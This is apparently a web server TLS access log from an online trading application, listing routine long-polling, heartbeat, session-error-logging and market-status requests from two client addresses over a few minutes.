[09/Jan/2026:08:51:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920187304 HTTP/1.1" -
[09/Jan/2026:08:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:52:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920194050 HTTP/1.1" -
[09/Jan/2026:08:52:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920193302 HTTP/1.1" -
[09/Jan/2026:08:52:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920199111 HTTP/1.1" -
[09/Jan/2026:08:52:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920199314 HTTP/1.1" -
[09/Jan/2026:08:52:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:52:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:52:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:52:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:52:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920204234 HTTP/1.1" -
[09/Jan/2026:08:52:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920205311 HTTP/1.1" -
[09/Jan/2026:08:52:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920209385 HTTP/1.1" -
[09/Jan/2026:08:52:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920211303 HTTP/1.1" -
[09/Jan/2026:08:52:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920214624 HTTP/1.1" -
[09/Jan/2026:08:52:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920219761 HTTP/1.1" -
[09/Jan/2026:08:52:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920217313 HTTP/1.1" -
[09/Jan/2026:08:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:52:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920224869 HTTP/1.1" -
[09/Jan/2026:08:52:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920223312 HTTP/1.1" -
[09/Jan/2026:08:52:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920229930 HTTP/1.1" -
[09/Jan/2026:08:52:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920229299 HTTP/1.1" -
[09/Jan/2026:08:52:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920235130 HTTP/1.1" -
[09/Jan/2026:08:52:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920235309 HTTP/1.1" -
[09/Jan/2026:08:52:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920240254 HTTP/1.1" -
[09/Jan/2026:08:52:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920241312 HTTP/1.1" -
[09/Jan/2026:08:52:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920245366 HTTP/1.1" -
[09/Jan/2026:08:52:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920247312 HTTP/1.1" -
[09/Jan/2026:08:52:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920250516 HTTP/1.1" -
[09/Jan/2026:08:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:53:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920255667 HTTP/1.1" -
[09/Jan/2026:08:53:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920253305 HTTP/1.1" -
[09/Jan/2026:08:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920260713 HTTP/1.1" -
[09/Jan/2026:08:53:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920259299 HTTP/1.1" -
[09/Jan/2026:08:53:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:53:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:53:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:53:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:53:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920265865 HTTP/1.1" -
[09/Jan/2026:08:53:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920265312 HTTP/1.1" -
[09/Jan/2026:08:53:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920271017 HTTP/1.1" -
[09/Jan/2026:08:53:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920271312 HTTP/1.1" -
[09/Jan/2026:08:53:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920276244 HTTP/1.1" -
[09/Jan/2026:08:53:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920277301 HTTP/1.1" -
[09/Jan/2026:08:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920281445 HTTP/1.1" -
[09/Jan/2026:08:53:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920283311 HTTP/1.1" -
[09/Jan/2026:08:53:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920286513 HTTP/1.1" -
[09/Jan/2026:08:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920291633 HTTP/1.1" -
[09/Jan/2026:08:53:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920289313 HTTP/1.1" -
[09/Jan/2026:08:53:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920296835 HTTP/1.1" -
[09/Jan/2026:08:53:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920295314 HTTP/1.1" -
[09/Jan/2026:08:53:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920302018 HTTP/1.1" -
[09/Jan/2026:08:53:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920301303 HTTP/1.1" -
[09/Jan/2026:08:53:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920307165 HTTP/1.1" -
[09/Jan/2026:08:53:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920307302 HTTP/1.1" -
[09/Jan/2026:08:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:54:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920312370 HTTP/1.1" -
[09/Jan/2026:08:54:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920313313 HTTP/1.1" -
[09/Jan/2026:08:54:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920317424 HTTP/1.1" -
[09/Jan/2026:08:54:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920319309 HTTP/1.1" -
[09/Jan/2026:08:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920322552 HTTP/1.1" -
[09/Jan/2026:08:54:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:54:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:54:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:54:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920327700 HTTP/1.1" -
[09/Jan/2026:08:54:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920325309 HTTP/1.1" -
[09/Jan/2026:08:54:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920332873 HTTP/1.1" -
[09/Jan/2026:08:54:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920331305 HTTP/1.1" -
[09/Jan/2026:08:54:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920338012 HTTP/1.1" -
[09/Jan/2026:08:54:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920337309 HTTP/1.1" -
[09/Jan/2026:08:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:54:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920343141 HTTP/1.1" -
[09/Jan/2026:08:54:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920343312 HTTP/1.1" -
